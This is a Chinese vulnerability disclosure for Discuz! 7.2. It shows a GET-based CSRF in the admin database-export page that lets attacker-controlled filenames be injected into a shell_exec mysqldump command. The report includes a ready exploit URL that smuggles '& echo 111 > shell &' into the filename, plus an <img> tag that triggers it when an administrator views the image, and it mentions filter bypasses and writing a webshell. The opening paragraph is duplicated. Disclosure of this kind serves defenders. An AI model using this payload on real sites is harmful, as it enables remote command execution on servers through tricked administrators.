### 简要描述: Discuz! csrf+系统命令调用,一个超级简单比拖数据库还来得快的get类型csrf,一张图片搞定管理员,只要管理员敢看一下,那么他就会自动执行系统命令,创建文件,删除文件,ping 等等命令,如果有权限,也可以开关机。求精华,这个应该比那个csrf脱裤危害比较巨大吧!!!!! ### 详细说明: 直接分析代码: admin\db.inc.php:(lines:270-287): ``` $tablesstr = ''; foreach($tables as $table) { $tablesstr .= '"'.$table.'" '; } require './config.inc.php'; list($dbhost, $dbport) = explode(':', $dbhost); $query = $db->query("SHOW VARIABLES LIKE 'basedir'"); list(, $mysql_base) = $db->fetch_array($query, MYSQL_NUM); $dumpfile = addslashes(dirname(dirname(__FILE__))).'/'.$backupfilename.'.sql'; @unlink($dumpfile); $mysqlbin = $mysql_base == '/' ? '' : addslashes($mysql_base).'bin/'; @shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($extendins == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $sqlcompat == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : '...
### 简要描述: Discuz! csrf+系统命令调用,一个超级简单比拖数据库还来得快的get类型csrf,一张图片搞定管理员,只要管理员敢看一下,那么他就会自动执行系统命令,创建文件,删除文件,ping 等等命令,如果有权限,也可以开关机。求精华,这个应该比那个csrf脱裤危害比较巨大吧!!!!! ### 详细说明: 直接分析代码: admin\db.inc.php:(lines:270-287): ``` $tablesstr = ''; foreach($tables as $table) { $tablesstr .= '"'.$table.'" '; } require './config.inc.php'; list($dbhost, $dbport) = explode(':', $dbhost); $query = $db->query("SHOW VARIABLES LIKE 'basedir'"); list(, $mysql_base) = $db->fetch_array($query, MYSQL_NUM); $dumpfile = addslashes(dirname(dirname(__FILE__))).'/'.$backupfilename.'.sql'; @unlink($dumpfile); $mysqlbin = $mysql_base == '/' ? '' : addslashes($mysql_base).'bin/'; @shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($extendins == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $sqlcompat == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="'.$dbuser.'" --password="'.$dbpw.'" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile); echo $dumpfile; exit; ``` 这里我们打印了执行shell_exec 后的 代码 不影响全局,在7.x里面有一个bug,就是你在备份数据库的时候,发送的第一个post请求是有csrf防御,但是第二个获取相关信息的get请求,这面包括了一系列操作,没有做csrf防御,我们直接看这个链接: url: http://localhost/Discuz_7.2_SC_UTF8https://images.seebug.org/upload/admincp.php?action=db&operation=export&type=custom&saveto=server&filename=ssss%20%26%20echo%20111%20>%20shell%20%26%20xxxxx&method=&sizelimit=2048&volume=1&tableid=111111111111&startfrom=0&extendins=0&sqlcharset=&sqlcompat=&exportsubmit=yes&usehex=&usezip=0&sid=&usezip=0 本身这个链接的逻辑走向是当method=multivol的一个逻辑,这里是二次转发默认发送的,我们把这里值为空,那么就到了我们上面的代码了,看到这个url后进一步测试所有相关的参数,是否影响页面的走向逻辑,实际结果证明,所有参数可控 我们看着一行代码: ``` $dumpfile = addslashes(dirname(dirname(__FILE__))).'/'.$backupfilename.'.sql'; @unlink($dumpfile); $mysqlbin = $mysql_base == '/' ? '' : addslashes($mysql_base).'bin/'; @shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($extendins == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $sqlcompat == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="'.$dbuser.'" --password="'.$dbpw.'" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile); ``` 上面的文件操作,这里如果找不到,也已经被@规避了 那么我们看这个很长的sql备份命令最后面的$dumpfile,这个参数完全可控,这里我就不分析代码了,拿现象说话: 如果url中同时存在<> 那么它就会被阻断,但是我们实际中只用到一个> 或者 >>就够了 她还过滤了点号和反斜杠,正斜杠,当然了这里我就证明了,我们不用这些符号就是了,实际操作 中,既然能执行系统命令,各种二进制绕过,写shell 这里我就不演示了 举例子说明,如果我们的filename=ssss 那么这个命令 就会变成这样: ``` d:/wamp/bin/mysql/mysql5.5.20bin/mysqldump --force --quick --skip-opt --create-options --add-drop-table --host="localhost" --user="root" --password="" "discuz17" "cdb_activities" "xxxxxx\'" > D:\\wamp\\www\\Discuz_7.2_SC_UTF8\\upload/./forumdata/backup_789c01/ssss ``` 那么我们通过&再连接一个命令就OK了,我们把filename改为: filename=ssss%20%26%20echo%20111%20>%20shell%20%26%20xxxxx 然后再发一次包: ``` d:/wamp/bin/mysql/mysql5.5.20bin/mysqldump --force --quick --skip-opt --create-options --add-drop-table --host="localhost" --user="root" --password="" "discuz17" "cdb_activities" "xxxxxx\'" > D:\\wamp\\www\\Discuz_7.2_SC_UTF8\\upload/./forumdata/backup_789c01/ssss & echo 111 > shell & xxxxx.sql ``` 看见没有 这个命令完全构造完毕,肯定是可以执行的,我们去这个目录看看,有没有一个文件叫shell内容为111的: [<img src="https://images.seebug.org/upload/201409/180333576092af9c1897f87a6a1849d29f71a94d.png" alt="t.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/180333576092af9c1897f87a6a1849d29f71a94d.png) 看到没有 完美执行了,最可怕的事情就是,这个链接是一个纯get的csrf,一个图片就搞定 <img src=http://localhost/Discuz_7.2_SC_UTF8https://images.seebug.org/upload/admincp.php?action=db&operation=export&type=custom&saveto=server&filename=ssss%20%26%20echo%20111%20>%20shell%20%26%20xxxxx&method=&sizelimit=2048&volume=1&tableid=111111111111&startfrom=0&extendins=0&sqlcharset=&sqlcompat=&exportsubmit=yes&usehex=&usezip=0&sid=&usezip=0> 然后发给管理员这张图片,呵呵 你说能不给闪电吗!!!!! ### 漏洞证明: